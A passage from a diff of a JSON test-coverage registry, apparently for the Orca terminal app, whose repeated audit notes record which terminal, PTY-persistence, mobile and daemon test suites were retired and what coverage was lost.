stale session write deleted the host tab from persistence in every variant, and only the delete's timing relative to the measured sync differed, so those rows were false negatives of a single-sync oracle. The defect was in persistence: persistPtyBinding did not raise the repo's terminal topology fence for the first host-admitted tab, leaving the renderer's pre-create tab list free to replay over it. Elapsed time and paired-client mirroring never decided anything. A windowless `orca serve` parity arm runs the identical oracle and passes on both the merge-base and the branch, confirming that topology does not exhibit the defect (the gate it turns on is window-conditioned) and that making the host binding unconditional did not regress it. All of this is macOS-local only. The reported incident occurred on a physical Windows host; we did not run against one. The claim that the mechanism is platform-independent rests on the authoritative-window gate and publication-epoch inheritance being OS-agnostic, not on Windows evidence, so no ConPTY, Windows window-lifecycle, update, or sleep behavior is covered here. The synthetic default-tabs unit suite was retired: its explicit-empty/default-tab assertions no longer supply unit evidence. This retirement supplies no new persisted-restart, runtime-routing, cross-platform, or mobile evidence; existing historical runs and counts remain historical. The test-value audit removes the isolated re-retirement-token/epoch, activity-cutoff, idle-reattach and sibling-restore examples. The cited exact retirement and chained-detach cases remain unchanged, alongside closed-tab revival fencing and alias churn bounds. Their retained evidence is not equivalent coverage for every removed permutation; historical execution evidence is unchanged. The test-value audit removed shared-owner snapshot/cold-restore reference examples, a direct absent-tab PTY-index update, caller-supplied host-owned teardown boolean/no-dispatch, and a single local-provider rejection example. It also removed hand-built detach-retention comparator examples for different runs, handles, provider identities, and handle-less rows without independent identity ingress. Their specific snapshot, missing-tab, host-decision, rejection-count, and comparator alarms are lost. Current exact authority/ordering and chained-detach cases remain retained; they do not establish equivalent coverage for the removed examples. Historical commands, counts, results, and red-green narratives remain historical. The test-value audit retires terminals-explicit-empty-hydration.test.ts in full: its direct git/folder empty-tombstone assertions and literal-flag auto-create helper check are lost. The store test never mounted the initial-terminal effect or performed a persisted restart. The audit also removes terminal-tab-retirement.test.ts pure ownership/alias/routing plan inventories and sleeping-record map assertions; its former 100-tab scan-count case was subsequently retired too; no assertion remains in that suite. These retained and historical cases do not establish equivalent tombstone, default-create, provider teardown, cross-platform, or mobile coverage. Historical commands, results, counts, and red-green narratives remain historical. The subsequent test-value audit deletes the remaining terminal-tab-retirement.test.ts suite. Its 100-tab case asserted only returned plan count and one outer scan per ownership store; it never inspected per-tab plans or provider teardown. Those direct cardinality/work-count alarms are intentionally lost. Historical executed commands, results, counts and red-green narratives remain historical; no equivalent replacement or new runtime, platform or mobile evidence is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1392: src/main/agent-hooks/server-pane-authority.test.ts reduced. Retires one duplicate-transfer no-op listener count and latest pty/timestamp callback fixture. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/store/terminals/layout/terminal-pane-detach-agent-identity.test.ts. Accepted loss: Detached leaf foreground/status/launch/resume identity map transfer and sibling preservation. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit5611 retires complete low-value suites src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts. Intentionally lose pane restoration, closed-tab refusal and round-trip status alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit5583 removes the entire src/renderer/src/store/terminals/retirement/terminal-tab-retirement-store.test.ts suite and its active selectors. Intentionally lose mocked terminal tab retirement choreography alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Live macOS Electron tests prove exact local PTY disappearance after parked-tab close and detached-pgid descendant death after agent close. A deterministic final-pane interleaving now proves durable tab retirement commits before externally owned PTY teardown can publish graph loss, and preserves an unrelated live canary through duplicate exit retirement. Deterministic tests also cover final-pane CLI close durability and same-incarnation handle continuity; persisted-empty restart suppression remains historical Electron evidence, alongside replacement and hard graph-loss stale fencing, preallocated-handle supersession, daemon and SSH routing, local/daemon pending-snapshot ownership across natural exit, stale-root descendant-signal suppression, graceful-to-immediate kill upgrades, duplicate-kill completion sharing, locale-stable bounded/fresh/coalesced process-table reads, deadline-safe successor scans, cycle-safe linear descendant traversal, target-only escalation indexing, 32-wide bulk teardown, source-scan timestamp identity, same-second PID ambiguity, ordinary runtime close ownership, unified-only hydration, split ownership, pane detach transfer, restart alias hydration, and late-hook suppression; live Linux, Windows, WSL, SSH, and remote-runtime process evidence remains pending. A paired macOS Electron journey (real attached-window desktop host plus a separate real paired desktop client, isolated profiles) covers the inverse authority direction for host-created terminals: a renderer graph sync must not retire a tab that `orca terminal create` made. The retained paired journey covers the incident shape the real CLI produces - a repo's FIRST host-created terminal, since src/cli/handlers/terminal.ts sends no clientMutationId. The repeated target-after-unrelated-terminal journey was retired; its separate ordering alarm is no longer provided. An earlier reading of this gate called a preceding host-created terminal and a `clientMutationId` protective; main-process instrumentation refuted that. The renderer's stale session write deleted the host tab from persistence in every variant, and only the delete's timing relative to the measured sync differed, so those rows were false negatives of a single-sync oracle. The defect was in persistence: persistPtyBinding did not raise the repo's terminal topology fence for the first host-admitted tab, leaving the renderer's pre-create tab list free to replay over it. Elapsed time and paired-client mirroring never decided anything. A windowless `orca serve` parity arm runs the identical oracle and passes on both the merge-base and the branch, confirming that topology does not exhibit the defect (the gate it turns on is window-conditioned) and that making the host binding unconditional did not regress it. All of this is macOS-local only. The reported incident occurred on a physical Windows host; we did not run against one. The claim that the mechanism is platform-independent rests on the authoritative-window gate and publication-epoch inheritance being OS-agnostic, not on Windows evidence, so no ConPTY, Windows window-lifecycle, update, or sleep behavior is covered here. The synthetic default-tabs unit suite was retired: its explicit-empty/default-tab assertions no longer supply unit evidence. This retirement supplies no new persisted-restart, runtime-routing, cross-platform, or mobile evidence; existing historical runs and counts remain historical. The test-value audit removes the isolated re-retirement-token/epoch, activity-cutoff, idle-reattach and sibling-restore examples. The cited exact retirement and chained-detach cases remain unchanged, alongside closed-tab revival fencing and alias churn bounds. Their retained evidence is not equivalent coverage for every removed permutation; historical execution evidence is unchanged. The test-value audit removed shared-owner snapshot/cold-restore reference examples, a direct absent-tab PTY-index update, caller-supplied host-owned teardown boolean/no-dispatch, and a single local-provider rejection example. It also removed hand-built detach-retention comparator examples for different runs, handles, provider identities, and handle-less rows without independent identity ingress. Their specific snapshot, missing-tab, host-decision, rejection-count, and comparator alarms are lost. Current exact authority/ordering and chained-detach cases remain retained; they do not establish equivalent coverage for the removed examples. Historical commands, counts, results, and red-green narratives remain historical. The test-value audit retires terminals-explicit-empty-hydration.test.ts in full: its direct git/folder empty-tombstone assertions and literal-flag auto-create helper check are lost. The store test never mounted the initial-terminal effect or performed a persisted restart. The audit also removes terminal-tab-retirement.test.ts pure ownership/alias/routing plan inventories and sleeping-record map assertions; its former 100-tab scan-count case was subsequently retired too; no assertion remains in that suite. These retained and historical cases do not establish equivalent tombstone, default-create, provider teardown, cross-platform, or mobile coverage. Historical commands, results, counts, and red-green narratives remain historical. The subsequent test-value audit deletes the remaining terminal-tab-retirement.test.ts suite. Its 100-tab case asserted only returned plan count and one outer scan per ownership store; it never inspected per-tab plans or provider teardown. Those direct cardinality/work-count alarms are intentionally lost. Historical executed commands, results, counts and red-green narratives remain historical; no equivalent replacement or new runtime, platform or mobile evidence is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1392: src/main/agent-hooks/server-pane-authority.test.ts reduced. Retires one duplicate-transfer no-op listener count and latest pty/timestamp callback fixture. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-4327", "https://github.com/stablyai/orca/pull/14590", @@ -6138,7 +6138,7 @@ "providers": ["daemon", "runtime", "ssh", "wsl"], "coveredPlatforms": ["linux", "macos", "windows"], "coveredProviders": ["daemon", "runtime"], - "coverageNotes": "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3881 intentionally removes the entire legacy E2EE channel and mobile socket-wiring test suites and the v2 additive runtime-capability refusal callback, without equivalent replacement. Those deleted suites leave current selectors and that v2 assertion alias is retired. Retained v2 replay/queue-counter cases do not establish the removed capability refusal. Reduced test bytes/selectors have no fresh execution in this static packet; independent dated daemon E2E receipts retain their complete original scope. Historical prior account (preserved verbatim): Git owner cleanup retires the mixed request-connection suite under repository test policy, including its encrypted request cancellation and cached paired-desktop authentication alarms, without equivalent replacement. Current commands and assertion references omit the retired suite; dated evidence retains its original scope and does not validate this reduced set. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2153: Reduced sources intentionally lose the forwarding smoke and retire an unrelated current selector; historical runs do not validate changed source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2020: The CLI WebSocket source retains old-protocol refusal only; its paired-open, capability, timeout and admission projection examples are removed. No daemon-generation coverage is transferred to that callback. Both independent daemon E2E receipts remain unchanged at their original commands; the reduced unit selector has no fresh result. Historical prior account (preserved verbatim): Audit1983: Delete the reasonless-close scalar suite and optional-capability socket forwarding alias. Delete the mocked close-attribution topology field-inventory suite and its aliases/selectors; preserve independent dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1957:11, 1957:35, 1957:36): The fixture-supplied repository roundtrip, isolated capability metadata readback, parser/default-timer/size-threshold/internal failure-counter examples and standalone handshake-only replay example are removed. Source11 retains real encrypted multi-client event ordering, reconnect snapshot and multiplex delivery under synthetic runtime state, and does not establish the broad handshake-to-reasonless-close refusal alias; retire that whole assertion object. Source36 capability metadata readback alias is retired. Source35 retains the actual v2 runtime-only metadata/downgrade refusal callback and captured mutating-trace fresh-nonce rejection; its mapped mobile-v2 refusal alias remains within modeled credential lookup scope. Both independent daemon E2E dated receipts remain byte-exact with their original commands and results. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Retain actual parked exit/disposal/cancel/leaf progression using injected exit and close adapters. The retained last-watcher case checks exact lifecyclePtyId, but no retained callback establishes the whole existing replacement-or-sibling-incarnation alias. Retire that broad assertion object rather than transfer partial support. Capability admission, static fields and duplicate routing examples are intentionally lost; unchanged daemon E2E receipts remain scoped to their own commands. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The browser auth capability-advertisement case is removed in this audit; its direct encrypted-auth literal alarm is lost. Retained lifecycle evidence is not an equivalent replacement. Historical run commands and results remain historical. Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The deterministic daemon harness covers capable and legacy paired-runtime request shapes against live v25/v26 PTYs in separate worktrees, plus an unrelated control. Host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, explicit user intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. A headed host paired to a separate live client, headless serve parity, Linux, SSH, and WSL remain explicit gaps. The audit removed private-router tests of mocked kill results and log fields. Their isolated success/failure attribution and pending-spawn tolerance alarms are no longer registered here; live lifecycle evidence does not establish equivalent log coverage. The isolated close-intent suite was removed. web-runtime-session.test.ts no longer supplies the lifecycle-close or old-server method-not-found assertions formerly referenced here. Their direct partition and RPC-shape alarms are lost; retained live daemon evidence does not establish equivalent coverage. The broad mirror fixture retains user-close suppression, refused-close reconciliation and optimistic reorder only. Its earlier reconnect/incarnation and projection examples no longer establish current daemon-generation coverage. Those narrow alarms are lost; other daemon evidence is not equivalent replacement coverage. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3881 intentionally removes the entire legacy E2EE channel and mobile socket-wiring test suites and the v2 additive runtime-capability refusal callback, without equivalent replacement. Those deleted suites leave current selectors and that v2 assertion alias is retired. Retained v2 replay/queue-counter cases do not establish the removed capability refusal. Reduced test bytes/selectors have no fresh execution in this static packet; independent dated daemon 